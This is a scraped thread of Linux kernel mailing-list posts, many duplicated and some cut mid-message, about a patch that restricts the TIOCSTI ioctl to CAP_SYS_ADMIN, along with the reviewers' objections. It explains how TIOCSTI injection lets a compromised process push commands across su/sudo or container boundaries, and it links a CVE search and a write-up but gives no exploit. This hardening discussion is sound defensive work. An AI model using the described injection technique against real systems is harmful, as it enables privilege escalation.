1. Let there exist a LSM X that is set to "off" by default.
(let's say its a simpler type of MAC ;)
2. There exists an inexperienced user Bob that toggles X to "on".
3. Bob complains that X has broken userspace because he now cannot access his
SSH key from firefox.

build tool's will always have important impacts on a system based on the config
that is used.

My understanding of the "don't break userspace" rule has always been to not
change existing, userspace facing, APIs/ioctls/system calls/etc. I don't
believe that my patch does this.

>>
>>>> If this work were not valuable, it wouldnt be an enabled kernel option
>>>> on a massive number of kernels with attack surfaces reduced by the
>>>> compound protections offered by the grsec patch set.
>>> I'll bet you a beverage that 99-44/100% of the people who have
>>> this enabled have no clue that it's even there. And if they did,
>>> most of them would turn it off.
>>>
>> First, I don't know how to parse "99-44/100%" and therefore do not wish to
>> wager a beverage on such confusing odds ;)
> 
> 99.44%. And I loose a *lot* of beverage bets.
> 
>> Second, as stated above, this feature is off by default. However, I would 
>> expect
>> this sysctl to show up in lists of procedures for hardening linux servers.
> 
> It's esoteric enough that I expect that if anyone got bitten by it
> word would get out and no one would use it thereafter.
> 

As we know in the security world, esoteric things can have major a impact. I
have not looked thought all of these, but I imagine most of them could have
been prevented by this patch.

https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=tiocsti

>>
>>>> I can't speak for
>>>> the grsec people, but having read a small fraction of the commentary
>>>> around the subject of mainline integration, it seems to me that NAKs
>>>> like this are exactly why they had no interest in even trying - this
>>>> review is based on the cultural views of the kernel community, not on
>>>> the security benefits offered by the work in the current state of
>>>> affairs (where userspace is broken).
>>&

Re: [kernel-hardening] Re: [PATCH v7 2/2] security: tty: make TIOCSTI ioctl require CAP_SYS_ADMIN

[Matt Brown]

On 5/29/17 10:46 PM, Casey Schaufler wrote:
> On 5/29/2017 7:00 PM, Matt Brown wrote:
>> Casey Schaufler,
>>
>> First I must start this off by saying I really appreciate your presentation 
>> on
>> LSMs that is up on youtube. I've got a LSM in the works and your talk has
>> helped me a bunch.
> 
> Thank you. Feedback (especially positive) is always appreciated.
> 
>>
>> On 5/29/17 8:27 PM, Casey Schaufler wrote:
>>> On 5/29/2017 4:51 PM, Boris Lukashev wrote:
>>>> With all due respect sir, i believe your review falls short of the
>>>> purpose of this effort - to harden the kernel against flaws in
>>>> userspace. Comments along the line of "if  does it right
>>>> then your patch is pointless" are not relevant to the context of
>>>> securing kernel functions/interfaces. What userspace should do has
>>>> little bearing on defensive measures actually implemented in the
>>>> kernel - if we took the approach of "someone else is responsible for
>>>> that" in military operations, the world would be a much darker and
>>>> different place today. Those who have the luxury of standoff from the
>>>> critical impacts of security vulnerabilities may not take into account
>>>> the fact that peoples lives literally depend on Linux getting a lot
>>>> more secure, and quickly.
>>> You are not going to help anyone with a kernel configuration that
>>> breaks agetty, csh, xemacs and tcsh. The opportunities for using
>>> such a configuration are limited.
>> This patch does not break these programs as you imply. 99% of users of these
>> programs will not be effected. Its not like the TIOCSTI ioctl is a critical
>> part of these programs.
> 
> Most likely not.
> 
>>
>> Also as I've stated elsewhere, this is not breaking userspace because this
>> Kconfig/sysctl defaults to n. If someone is using the programs listed above 
>> in
>> a way that does utilize an unprivileged call to the TIOCSTI ioctl, they can
>> turn this feature off.
> 
> Default "off" does not mean it doesn't break userspace. It means that it might
> not break userspace in your environment. Or it might, depending on the whim of
> the build tool of the day.
> 

By this logic, it seems like any introduced feature which toggles some security
feature could be seen as "breaking userspace." For example:

1. Let there exist a LSM X that is set to "off" by default.
(let's say its a simpler type of MAC ;)
2. There exists an inexperienced user Bob that toggles X to "on".
3. Bob complains that X has broken userspace because he now cannot access his
SSH key from firefox.

build tool's will always have important impacts on a system based on the config
that is used.

My understanding of the "don't break userspace" rule has always been to not
change existing, userspace facing, APIs/ioctls/system calls/etc. I don't
believe that my patch does this.

>>
>>>> If this work were not valuable, it wouldnt be an enabled kernel option
>>>> on a massive number of kernels with attack surfaces reduced by the
>>>> compound protections offered by the grsec patch set.
>>> I'll bet you a beverage that 99-44/100% of the people who have
>>> this enabled have no clue that it's even there. And if they did,
>>> most of them would turn it off.
>>>
>> First, I don't know how to parse "99-44/100%" and therefore do not wish to
>> wager a beverage on such confusing odds ;)
> 
> 99.44%. And I loose a *lot* of beverage bets.
> 
>> Second, as stated above, this feature is off by default. However, I would 
>> expect
>> this sysctl to show up in lists of procedures for hardening linux servers.
> 
> It's esoteric enough that I expect that if anyone got bitten by it
> word would get out and no one would use it thereafter.
> 

As we know in the security world, esoteric things can have major a impact. I
have not looked thought all of these, but I imagine most of them could have
been prevented by this patch.

https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=tiocsti

>>
>>>> I can't speak for
>>>> the grsec people, but having read a small fraction of the commentary
>>>> around the subject of mainline integration, it seems to me that NAKs
>>>> like this are exactly why they had no interest in even trying - this
>>>> review is based on the cultural views of the kernel community, not on
>>>> the security benefits offered by the work in the current state of
>>>> affairs (where userspace is broken).
>>&

Re: [kernel-hardening] Re: [PATCH v7 2/2] security: tty: make TIOCSTI ioctl require CAP_SYS_ADMIN

[Matt Brown]

ot; can exceed the value provided.
> That is, I understand, the basis of the NAK. We need to be careful
> to keep in mind that, until such time as there is substantial interest
> in the sort of systemic changes that truly remove this class of issue,
> we're going to have to justify the risk/reward trade off when we try
> to introduce a change.
> 
>>
>> On Mon, May 29, 2017 at 6:26 PM, Alan Cox <gno...@lxorguk.ukuu.org.uk> wrote:
>>> On Mon, 29 May 2017 17:38:00 -0400
>>> Matt Brown <m...@nmatt.com> wrote:
>>>
>>>> This introduces the tiocsti_restrict sysctl, whose default is controlled
>>>> via CONFIG_SECURITY_TIOCSTI_RESTRICT. When activated, this control
>>>> restricts all TIOCSTI ioctl calls from non CAP_SYS_ADMIN users.
>>> Which is really quite pointless as I keep pointing out and you keep
>>> reposting this nonsense.
>>>
>>>> This patch depends on patch 1/2
>>>>
>>>> This patch was inspired from GRKERNSEC_HARDEN_TTY.
>>>>
>>>> This patch would have prevented
>>>> https://bugzilla.redhat.com/show_bug.cgi?id=1411256 under the following
>>>> conditions:
>>>> * non-privileged container
>>>> * container run inside new user namespace
>>> And assuming no other ioctl could be used in an attack. Only there are
>>> rather a lot of ways an app with access to a tty can cause mischief if
>>> it's the same controlling tty as the higher privileged context that
>>> launched it.
>>>
>>> Properly written code allocates a new pty/tty pair for the lower
>>> privileged session. If the code doesn't do that then your change merely
>>> modifies the degree of mayhem it can cause. If it does it right then your
>>> patch is pointless.
>>>
>>>> Possible effects on userland:
>>>>
>>>> There could be a few user programs that would be effected by this
>>>> change.
>>> In other words, it's yet another weird config option that breaks stuff.
>>>
>>>
>>> NAK v7.
>>>
>>> Alan
>>
>>
> 

Thanks,
Matt Brown

Re: [kernel-hardening] Re: [PATCH v7 2/2] security: tty: make TIOCSTI ioctl require CAP_SYS_ADMIN

[Matt Brown]

ot; can exceed the value provided.
> That is, I understand, the basis of the NAK. We need to be careful
> to keep in mind that, until such time as there is substantial interest
> in the sort of systemic changes that truly remove this class of issue,
> we're going to have to justify the risk/reward trade off when we try
> to introduce a change.
> 
>>
>> On Mon, May 29, 2017 at 6:26 PM, Alan Cox  wrote:
>>> On Mon, 29 May 2017 17:38:00 -0400
>>> Matt Brown  wrote:
>>>
>>>> This introduces the tiocsti_restrict sysctl, whose default is controlled
>>>> via CONFIG_SECURITY_TIOCSTI_RESTRICT. When activated, this control
>>>> restricts all TIOCSTI ioctl calls from non CAP_SYS_ADMIN users.
>>> Which is really quite pointless as I keep pointing out and you keep
>>> reposting this nonsense.
>>>
>>>> This patch depends on patch 1/2
>>>>
>>>> This patch was inspired from GRKERNSEC_HARDEN_TTY.
>>>>
>>>> This patch would have prevented
>>>> https://bugzilla.redhat.com/show_bug.cgi?id=1411256 under the following
>>>> conditions:
>>>> * non-privileged container
>>>> * container run inside new user namespace
>>> And assuming no other ioctl could be used in an attack. Only there are
>>> rather a lot of ways an app with access to a tty can cause mischief if
>>> it's the same controlling tty as the higher privileged context that
>>> launched it.
>>>
>>> Properly written code allocates a new pty/tty pair for the lower
>>> privileged session. If the code doesn't do that then your change merely
>>> modifies the degree of mayhem it can cause. If it does it right then your
>>> patch is pointless.
>>>
>>>> Possible effects on userland:
>>>>
>>>> There could be a few user programs that would be effected by this
>>>> change.
>>> In other words, it's yet another weird config option that breaks stuff.
>>>
>>>
>>> NAK v7.
>>>
>>> Alan
>>
>>
> 

Thanks,
Matt Brown

Re: [PATCH v7 2/2] security: tty: make TIOCSTI ioctl require CAP_SYS_ADMIN

[Matt Brown]

On 5/29/17 6:26 PM, Alan Cox wrote:
> On Mon, 29 May 2017 17:38:00 -0400
> Matt Brown <m...@nmatt.com> wrote:
> 
>> This introduces the tiocsti_restrict sysctl, whose default is controlled
>> via CONFIG_SECURITY_TIOCSTI_RESTRICT. When activated, this control
>> restricts all TIOCSTI ioctl calls from non CAP_SYS_ADMIN users.
> 
> Which is really quite pointless as I keep pointing out and you keep
> reposting this nonsense.
> 
>>
>> This patch depends on patch 1/2
>>
>> This patch was inspired from GRKERNSEC_HARDEN_TTY.
>>
>> This patch would have prevented
>> https://bugzilla.redhat.com/show_bug.cgi?id=1411256 under the following
>> conditions:
>> * non-privileged container
>> * container run inside new user namespace
> 
> And assuming no other ioctl could be used in an attack. Only there are
> rather a lot of ways an app with access to a tty can cause mischief if
> it's the same controlling tty as the higher privileged context that
> launched it.

Can you give me an example of another ioctl that you can abuse to practically
gain code execution in the privileged context? Saying that the child process
could "cause mischief" is a bit vague.

> 
> Properly written code allocates a new pty/tty pair for the lower
> privileged session. If the code doesn't do that then your change merely
> modifies the degree of mayhem it can cause. If it does it right then your
> patch is pointless.
> 
>> Possible effects on userland:
>>
>> There could be a few user programs that would be effected by this
>> change.
> 
> In other words, it's yet another weird config option that breaks stuff.
> 

It doesn't break anything because it is default n. People that enable this
option will understand they are disabling the tiocsti ioctl for non privileged
processes.

> 
> NAK v7.

Rather than a NAK, could you explain how you would solve this problem in a way
that we can protect userspace from shooting itself in the foot.

See CVE lookup: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=tiocsti

Matt

Re: [PATCH v7 2/2] security: tty: make TIOCSTI ioctl require CAP_SYS_ADMIN

[Matt Brown]

On 5/29/17 6:26 PM, Alan Cox wrote:
> On Mon, 29 May 2017 17:38:00 -0400
> Matt Brown  wrote:
> 
>> This introduces the tiocsti_restrict sysctl, whose default is controlled
>> via CONFIG_SECURITY_TIOCSTI_RESTRICT. When activated, this control
>> restricts all TIOCSTI ioctl calls from non CAP_SYS_ADMIN users.
> 
> Which is really quite pointless as I keep pointing out and you keep
> reposting this nonsense.
> 
>>
>> This patch depends on patch 1/2
>>
>> This patch was inspired from GRKERNSEC_HARDEN_TTY.
>>
>> This patch would have prevented
>> https://bugzilla.redhat.com/show_bug.cgi?id=1411256 under the following
>> conditions:
>> * non-privileged container
>> * container run inside new user namespace
> 
> And assuming no other ioctl could be used in an attack. Only there are
> rather a lot of ways an app with access to a tty can cause mischief if
> it's the same controlling tty as the higher privileged context that
> launched it.

Can you give me an example of another ioctl that you can abuse to practically
gain code execution in the privileged context? Saying that the child process
could "cause mischief" is a bit vague.

> 
> Properly written code allocates a new pty/tty pair for the lower
> privileged session. If the code doesn't do that then your change merely
> modifies the degree of mayhem it can cause. If it does it right then your
> patch is pointless.
> 
>> Possible effects on userland:
>>
>> There could be a few user programs that would be effected by this
>> change.
> 
> In other words, it's yet another weird config option that breaks stuff.
> 

It doesn't break anything because it is default n. People that enable this
option will understand they are disabling the tiocsti ioctl for non privileged
processes.

> 
> NAK v7.

Rather than a NAK, could you explain how you would solve this problem in a way
that we can protect userspace from shooting itself in the foot.

See CVE lookup: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=tiocsti

Matt

[PATCH v7 2/2] security: tty: make TIOCSTI ioctl require CAP_SYS_ADMIN

[Matt Brown]

This introduces the tiocsti_restrict sysctl, whose default is controlled
via CONFIG_SECURITY_TIOCSTI_RESTRICT. When activated, this control
restricts all TIOCSTI ioctl calls from non CAP_SYS_ADMIN users.

This patch depends on patch 1/2

This patch was inspired from GRKERNSEC_HARDEN_TTY.

This patch would have prevented
https://bugzilla.redhat.com/show_bug.cgi?id=1411256 under the following
conditions:
* non-privileged container
* container run inside new user namespace

Possible effects on userland:

There could be a few user programs that would be effected by this
change.
See: <https://codesearch.debian.net/search?q=ioctl%5C%28.*TIOCSTI>
notable programs are: agetty, csh, xemacs and tcsh

However, I still believe that this change is worth it given that the
Kconfig defaults to n. This will be a feature that is turned on for the
same reason that people activate it when using grsecurity. Users of this
opt-in feature will realize that they are choosing security over some OS
features like unprivileged TIOCSTI ioctls, as should be clear in the
Kconfig help message.

Threat Model/Patch Rational:

>From grsecurity's config for GRKERNSEC_HARDEN_TTY.

 | There are very few legitimate uses for this functionality and it
 | has made vulnerabilities in several 'su'-like programs possible in
 | the past.  Even without these vulnerabilities, it provides an
 | attacker with an easy mechanism to move laterally among other
 | processes within the same user's compromised session.

So if one process within a tty session becomes compromised it can follow
that additional processes, that are thought to be in different security
boundaries, can be compromised as a result. When using a program like su
or sudo, these additional processes could be in a tty session where TTY
file descriptors are indeed shared over privilege boundaries.

This is also an excellent writeup about the issue:
<http://www.halfdog.net/Security/2012/TtyPushbackPrivilegeEscalation/>

When user namespaces are in use, the check for the capability
CAP_SYS_ADMIN is done against the user namespace that originally opened
the tty.

Acked-by: Serge Hallyn <se...@hallyn.com>
Reviewed-by: Kees Cook <keesc...@chromium.org>
Signed-off-by: Matt Brown <m...@nmatt.com>
---
 Documentation/sysctl/kernel.txt | 21 +
 drivers/tty/tty_io.c|  8 
 include/linux/tty.h |  2 ++
 kernel/sysctl.c | 12 
 security/Kconfig| 13 +
 5 files changed, 56 insertions(+)

diff --git a/Documentation/sysctl/kernel.txt b/Documentation/sysctl/kernel.txt
index bac23c1..f7985cf 100644
--- a/Documentation/sysctl/kernel.txt
+++ b/Documentation/sysctl/kernel.txt
@@ -89,6 +89,7 @@ show up in /proc/sys/kernel:
 - sysctl_writes_strict
 - tainted
 - threads-max
+- tiocsti_restrict
 - unknown_nmi_panic
 - watchdog
 - watchdog_thresh
@@ -987,6 +988,26 @@ available RAM pages threads-max is reduced accordingly.
 
 ==
 
+tiocsti_restrict:
+
+This toggle indicates whether unprivileged users are prevented
+from using the TIOCSTI ioctl to inject commands into other processes
+which share a tty session.
+
+When tiocsti_restrict is set to (0) there are no restrictions(accept
+the default restriction of only being able to injection commands into
+one's own tty). When tiocsti_restrict is set to (1), users must
+have CAP_SYS_ADMIN to use the TIOCSTI ioctl.
+
+When user namespaces are in use, the check for the capability
+CAP_SYS_ADMIN is done against the user namespace that originally
+opened the tty.
+
+The kernel config option CONFIG_SECURITY_TIOCSTI_RESTRICT sets the
+default value of tiocsti_restrict.
+
+==
+
 unknown_nmi_panic:
 
 The value in this file affects behavior of handling NMI. When the
diff --git a/drivers/tty/tty_io.c b/drivers/tty/tty_io.c
index c276814..0f2733d 100644
--- a/drivers/tty/tty_io.c
+++ b/drivers/tty/tty_io.c
@@ -2297,11 +2297,19 @@ static int tty_fasync(int fd, struct file *filp, int on)
  * FIXME: may race normal receive processing
  */
 
+int tiocsti_restrict = IS_ENABLED(CONFIG_SECURITY_TIOCSTI_RESTRICT);
+
 static int tiocsti(struct tty_struct *tty, char __user *p)
 {
char ch, mbz = 0;
struct tty_ldisc *ld;
 
+   if (tiocsti_restrict &&
+   !ns_capable(tty->owner_user_ns, CAP_SYS_ADMIN)) {
+   dev_warn_ratelimited(tty->dev,
+   "Denied TIOCSTI ioctl for non-privileged process\n");
+   return -EPERM;
+   }
if ((current->signal->tty != tty) && !capable(CAP_SYS_ADMIN))
return -EPERM;
if (get_user(ch, p))
diff --git a/include/linux/tty.h b/include/linux/tty.h
index d902d42..2fd7f49 100644
--- a/include/linux/tty.h
+++ b/include/linux/tty.h
@@ -344,6 +344,8 @@ struct tty_file_priv

[PATCH v7 2/2] security: tty: make TIOCSTI ioctl require CAP_SYS_ADMIN

[Matt Brown]

This introduces the tiocsti_restrict sysctl, whose default is controlled
via CONFIG_SECURITY_TIOCSTI_RESTRICT. When activated, this control
restricts all TIOCSTI ioctl calls from non CAP_SYS_ADMIN users.

This patch depends on patch 1/2

This patch was inspired from GRKERNSEC_HARDEN_TTY.

This patch would have prevented
https://bugzilla.redhat.com/show_bug.cgi?id=1411256 under the following
conditions:
* non-privileged container
* container run inside new user namespace

Possible effects on userland:

There could be a few user programs that would be effected by this
change.
See: <https://codesearch.debian.net/search?q=ioctl%5C%28.*TIOCSTI>
notable programs are: agetty, csh, xemacs and tcsh

However, I still believe that this change is worth it given that the
Kconfig defaults to n. This will be a feature that is turned on for the
same reason that people activate it when using grsecurity. Users of this
opt-in feature will realize that they are choosing security over some OS
features like unprivileged TIOCSTI ioctls, as should be clear in the
Kconfig help message.

Threat Model/Patch Rational:

>From grsecurity's config for GRKERNSEC_HARDEN_TTY.

 | There are very few legitimate uses for this functionality and it
 | has made vulnerabilities in several 'su'-like programs possible in
 | the past.  Even without these vulnerabilities, it provides an
 | attacker with an easy mechanism to move laterally among other
 | processes within the same user's compromised session.

So if one process within a tty session becomes compromised it can follow
that additional processes, that are thought to be in different security
boundaries, can be compromised as a result. When using a program like su
or sudo, these additional processes could be in a tty session where TTY
file descriptors are indeed shared over privilege boundaries.

This is also an excellent writeup about the issue:
<http://www.halfdog.net/Security/2012/TtyPushbackPrivilegeEscalation/>

When user namespaces are in use, the check for the capability
CAP_SYS_ADMIN is done against the user namespace that originally opened
the tty.

Acked-by: Serge Hallyn 
Reviewed-by: Kees Cook 
Signed-off-by: Matt Brown 
---
 Documentation/sysctl/kernel.txt | 21 +
 drivers/tty/tty_io.c|  8 
 include/linux/tty.h |  2 ++
 kernel/sysctl.c | 12 
 security/Kconfig| 13 +
 5 files changed, 56 insertions(+)

diff --git a/Documentation/sysctl/kernel.txt b/Documentation/sysctl/kernel.txt
index bac23c1..f7985cf 100644
--- a/Documentation/sysctl/kernel.txt
+++ b/Documentation/sysctl/kernel.txt
@@ -89,6 +89,7 @@ show up in /proc/sys/kernel:
 - sysctl_writes_strict
 - tainted
 - threads-max
+- tiocsti_restrict
 - unknown_nmi_panic
 - watchdog
 - watchdog_thresh
@@ -987,6 +988,26 @@ available RAM pages threads-max is reduced accordingly.
 
 ==
 
+tiocsti_restrict:
+
+This toggle indicates whether unprivileged users are prevented
+from using the TIOCSTI ioctl to inject commands into other processes
+which share a tty session.
+
+When tiocsti_restrict is set to (0) there are no restrictions(accept
+the default restriction of only being able to injection commands into
+one's own tty). When tiocsti_restrict is set to (1), users must
+have CAP_SYS_ADMIN to use the TIOCSTI ioctl.
+
+When user namespaces are in use, the check for the capability
+CAP_SYS_ADMIN is done against the user namespace that originally
+opened the tty.
+
+The kernel config option CONFIG_SECURITY_TIOCSTI_RESTRICT sets the
+default value of tiocsti_restrict.
+
+==
+
 unknown_nmi_panic:
 
 The value in this file affects behavior of handling NMI. When the
diff --git a/drivers/tty/tty_io.c b/drivers/tty/tty_io.c
index c276814..0f2733d 100644
--- a/drivers/tty/tty_io.c
+++ b/drivers/tty/tty_io.c
@@ -2297,11 +2297,19 @@ static int tty_fasync(int fd, struct file *filp, int on)
  * FIXME: may race normal receive processing
  */
 
+int tiocsti_restrict = IS_ENABLED(CONFIG_SECURITY_TIOCSTI_RESTRICT);
+
 static int tiocsti(struct tty_struct *tty, char __user *p)
 {
char ch, mbz = 0;
struct tty_ldisc *ld;
 
+   if (tiocsti_restrict &&
+   !ns_capable(tty->owner_user_ns, CAP_SYS_ADMIN)) {
+   dev_warn_ratelimited(tty->dev,
+   "Denied TIOCSTI ioctl for non-privileged process\n");
+   return -EPERM;
+   }
if ((current->signal->tty != tty) && !capable(CAP_SYS_ADMIN))
return -EPERM;
if (get_user(ch, p))
diff --git a/include/linux/tty.h b/include/linux/tty.h
index d902d42..2fd7f49 100644
--- a/include/linux/tty.h
+++ b/include/linux/tty.h
@@ -344,6 +344,8 @@ struct tty_file_private {
struct list_head list;
 };
 
+extern int tiocsti_r

[PATCH v7 1/2] security: tty: Add owner user namespace to tty_struct

[Matt Brown]

This patch adds struct user_namespace *owner_user_ns to the tty_struct.
Then it is set to current_user_ns() in the alloc_tty_struct function.

This is done to facilitate capability checks against the original user
namespace that allocated the tty.

E.g. ns_capable(tty->owner_user_ns,CAP_SYS_ADMIN)

This combined with the use of user namespace's will allow hardening
protections to be built to mitigate container escapes that utilize TTY
ioctls such as TIOCSTI.

See: https://bugzilla.redhat.com/show_bug.cgi?id=1411256

Acked-by: Serge Hallyn <se...@hallyn.com>
Reviewed-by: Kees Cook <keesc...@chromium.org>
Signed-off-by: Matt Brown <m...@nmatt.com>
---
 drivers/tty/tty_io.c | 2 ++
 include/linux/tty.h  | 2 ++
 2 files changed, 4 insertions(+)

diff --git a/drivers/tty/tty_io.c b/drivers/tty/tty_io.c
index e6d1a65..c276814 100644
--- a/drivers/tty/tty_io.c
+++ b/drivers/tty/tty_io.c
@@ -171,6 +171,7 @@ static void free_tty_struct(struct tty_struct *tty)
put_device(tty->dev);
kfree(tty->write_buf);
tty->magic = 0xDEADDEAD;
+   put_user_ns(tty->owner_user_ns);
kfree(tty);
 }
 
@@ -3191,6 +3192,7 @@ struct tty_struct *alloc_tty_struct(struct tty_driver 
*driver, int idx)
tty->index = idx;
tty_line_name(driver, idx, tty->name);
tty->dev = tty_get_device(tty);
+   tty->owner_user_ns = get_user_ns(current_user_ns());
 
return tty;
 }
diff --git a/include/linux/tty.h b/include/linux/tty.h
index 1017e904..d902d42 100644
--- a/include/linux/tty.h
+++ b/include/linux/tty.h
@@ -12,6 +12,7 @@
 #include 
 #include 
 #include 
+#include 
 
 
 /*
@@ -333,6 +334,7 @@ struct tty_struct {
/* If the tty has a pending do_SAK, queue it here - akpm */
struct work_struct SAK_work;
struct tty_port *port;
+   struct user_namespace *owner_user_ns;
 };
 
 /* Each of a tty's open files has private_data pointing to tty_file_private */
-- 
2.10.2

[PATCH v7 1/2] security: tty: Add owner user namespace to tty_struct

[Matt Brown]

This patch adds struct user_namespace *owner_user_ns to the tty_struct.
Then it is set to current_user_ns() in the alloc_tty_struct function.

This is done to facilitate capability checks against the original user
namespace that allocated the tty.

E.g. ns_capable(tty->owner_user_ns,CAP_SYS_ADMIN)

This combined with the use of user namespace's will allow hardening
protections to be built to mitigate container escapes that utilize TTY
ioctls such as TIOCSTI.

See: https://bugzilla.redhat.com/show_bug.cgi?id=1411256

Acked-by: Serge Hallyn 
Reviewed-by: Kees Cook 
Signed-off-by: Matt Brown 
---
 drivers/tty/tty_io.c | 2 ++
 include/linux/tty.h  | 2 ++
 2 files changed, 4 insertions(+)

diff --git a/drivers/tty/tty_io.c b/drivers/tty/tty_io.c
index e6d1a65..c276814 100644
--- a/drivers/tty/tty_io.c
+++ b/drivers/tty/tty_io.c
@@ -171,6 +171,7 @@ static void free_tty_struct(struct tty_struct *tty)
put_device(tty->dev);
kfree(tty->write_buf);
tty->magic = 0xDEADDEAD;
+   put_user_ns(tty->owner_user_ns);
kfree(tty);
 }
 
@@ -3191,6 +3192,7 @@ struct tty_struct *alloc_tty_struct(struct tty_driver 
*driver, int idx)
tty->index = idx;
tty_line_name(driver, idx, tty->name);
tty->dev = tty_get_device(tty);
+   tty->owner_user_ns = get_user_ns(current_user_ns());
 
return tty;
 }
diff --git a/include/linux/tty.h b/include/linux/tty.h
index 1017e904..d902d42 100644
--- a/include/linux/tty.h
+++ b/include/linux/tty.h
@@ -12,6 +12,7 @@
 #include 
 #include 
 #include 
+#include 
 
 
 /*
@@ -333,6 +334,7 @@ struct tty_struct {
/* If the tty has a pending do_SAK, queue it here - akpm */
struct work_struct SAK_work;
struct tty_port *port;
+   struct user_namespace *owner_user_ns;
 };
 
 /* Each of a tty's open files has private_data pointing to tty_file_private */
-- 
2.10.2

[PATCH v7 0/2] security: tty: make TIOCSTI ioctl require CAP_SYS_ADMIN

[Matt Brown]

This patchset introduces the tiocsti_restrict sysctl, whose default is
controlled via CONFIG_SECURITY_TIOCSTI_RESTRICT. When activated, this
control restricts all TIOCSTI ioctl calls from non CAP_SYS_ADMIN users.

This patch was inspired from GRKERNSEC_HARDEN_TTY.

This patch would have prevented
https://bugzilla.redhat.com/show_bug.cgi?id=1411256 under the following
conditions:
* non-privileged container
* container run inside new user namespace

Possible effects on userland:

There could be a few user programs that would be effected by this
change.
See: 
notable programs are: agetty, csh, xemacs and tcsh

However, I still believe that this change is worth it given that the
Kconfig defaults to n. This will be a feature that is turned on for the
same reason that people activate it when using grsecurity. Users of this
opt-in feature will realize that they are choosing security over some OS
features like unprivileged TIOCSTI ioctls, as should be clear in the
Kconfig help message.

Threat Model/Patch Rational:

From grsecurity's config for GRKERNSEC_HARDEN_TTY.


 | There are very few legitimate uses for this functionality and it
 | has made vulnerabilities in several 'su'-like programs possible in
 | the past.  Even without these vulnerabilities, it provides an
 | attacker with an easy mechanism to move laterally among other
 | processes within the same user's compromised session.

So if one process within a tty session becomes compromised it can follow
that additional processes, that are thought to be in different security
boundaries, can be compromised as a result. When using a program like su
or sudo, these additional processes could be in a tty session where TTY file
descriptors are indeed shared over privilege boundaries.

This is also an excellent writeup about the issue:


When user namespaces are in use, the check for the capability
CAP_SYS_ADMIN is done against the user namespace that originally opened
the tty.

# Integration with CRIU:
* The CRIU dev team was contacted about any possible issues that 
  restrict_tiocsti might cause for the CRIU program. Their response was that
  CRIU currently does not utilize the tiocsti ioctl, so it doesn't affect
  them at the moment. They do wish in the future to do checks against
  owner_user_ns, so we will work together on a way to make this information
  available to userspace. In the mean time, The CRIU team is OK with this
  patch moving forward as is.

# Changes since v6:
* fixed style issues
* changed error message to use dev_warn_ratelimited

# Changes since v5:
* added acks/reviews

# Changes since v4:
* fixed typo

# Changes since v3:
* use get_user_ns and put_user_ns to take and drop references to the owner
  user namespace because CONFIG_USER_NS is an option

# Changes since v2:
* take/drop reference to user namespace on tty struct alloc/free to prevent
  use-after-free.

# Changes since v1:
* added owner_user_ns to tty_struct to enable capability checks against
  the namespace that created the tty.
* rewording in different places to make patchset purpose clear
* Added Documentation

[PATCH v7 0/2] security: tty: make TIOCSTI ioctl require CAP_SYS_ADMIN

[Matt Brown]

This patchset introduces the tiocsti_restrict sysctl, whose default is
controlled via CONFIG_SECURITY_TIOCSTI_RESTRICT. When activated, this
control restricts all TIOCSTI ioctl calls from non CAP_SYS_ADMIN users.

This patch was inspired from GRKERNSEC_HARDEN_TTY.

This patch would have prevented
https://bugzilla.redhat.com/show_bug.cgi?id=1411256 under the following
conditions:
* non-privileged container
* container run inside new user namespace

Possible effects on userland:

There could be a few user programs that would be effected by this
change.
See: 
notable programs are: agetty, csh, xemacs and tcsh

However, I still believe that this change is worth it given that the
Kconfig defaults to n. This will be a feature that is turned on for the
same reason that people activate it when using grsecurity. Users of this
opt-in feature will realize that they are choosing security over some OS
features like unprivileged TIOCSTI ioctls, as should be clear in the
Kconfig help message.

Threat Model/Patch Rational:

From grsecurity's config for GRKERNSEC_HARDEN_TTY.


 | There are very few legitimate uses for this functionality and it
 | has made vulnerabilities in several 'su'-like programs possible in
 | the past.  Even without these vulnerabilities, it provides an
 | attacker with an easy mechanism to move laterally among other
 | processes within the same user's compromised session.

So if one process within a tty session becomes compromised it can follow
that additional processes, that are thought to be in different security
boundaries, can be compromised as a result. When using a program like su
or sudo, these additional processes could be in a tty session where TTY file
descriptors are indeed shared over privilege boundaries.

This is also an excellent writeup about the issue:


When user namespaces are in use, the check for the capability
CAP_SYS_ADMIN is done against the user namespace that originally opened
the tty.

# Integration with CRIU:
* The CRIU dev team was contacted about any possible issues that 
  restrict_tiocsti might cause for the CRIU program. Their response was that
  CRIU currently does not utilize the tiocsti ioctl, so it doesn't affect
  them at the moment. They do wish in the future to do checks against
  owner_user_ns, so we will work together on a way to make this information
  available to userspace. In the mean time, The CRIU team is OK with this
  patch moving forward as is.

# Changes since v6:
* fixed style issues
* changed error message to use dev_warn_ratelimited

# Changes since v5:
* added acks/reviews

# Changes since v4:
* fixed typo

# Changes since v3:
* use get_user_ns and put_user_ns to take and drop references to the owner
  user namespace because CONFIG_USER_NS is an option

# Changes since v2:
* take/drop reference to user namespace on tty struct alloc/free to prevent
  use-after-free.

# Changes since v1:
* added owner_user_ns to tty_struct to enable capability checks against
  the namespace that created the tty.
* rewording in different places to make patchset purpose clear
* Added Documentation

Re: [PATCH v6 2/2] security: tty: make TIOCSTI ioctl require CAP_SYS_ADMIN

[Matt Brown]

On 5/18/17 9:31 AM, Greg KH wrote:
> On Fri, May 05, 2017 at 07:20:18PM -0400, Matt Brown wrote:
>> This introduces the tiocsti_restrict sysctl, whose default is controlled via
>> CONFIG_SECURITY_TIOCSTI_RESTRICT. When activated, this control restricts
>> all TIOCSTI ioctl calls from non CAP_SYS_ADMIN users.
>>
>> This patch depends on patch 1/2
>>
>> This patch was inspired from GRKERNSEC_HARDEN_TTY.
>>
>> This patch would have prevented
>> https://bugzilla.redhat.com/show_bug.cgi?id=1411256 under the following
>> conditions:
>> * non-privileged container
>> * container run inside new user namespace
>>
>> Possible effects on userland:
>>
>> There could be a few user programs that would be effected by this
>> change.
>> See: <https://codesearch.debian.net/search?q=ioctl%5C%28.*TIOCSTI>
>> notable programs are: agetty, csh, xemacs and tcsh
>>
>> However, I still believe that this change is worth it given that the
>> Kconfig defaults to n. This will be a feature that is turned on for the
>> same reason that people activate it when using grsecurity. Users of this
>> opt-in feature will realize that they are choosing security over some OS
>> features like unprivileged TIOCSTI ioctls, as should be clear in the
>> Kconfig help message.
>>
>> Threat Model/Patch Rational:
>>
>> >From grsecurity's config for GRKERNSEC_HARDEN_TTY.
>>
>>  | There are very few legitimate uses for this functionality and it
>>  | has made vulnerabilities in several 'su'-like programs possible in
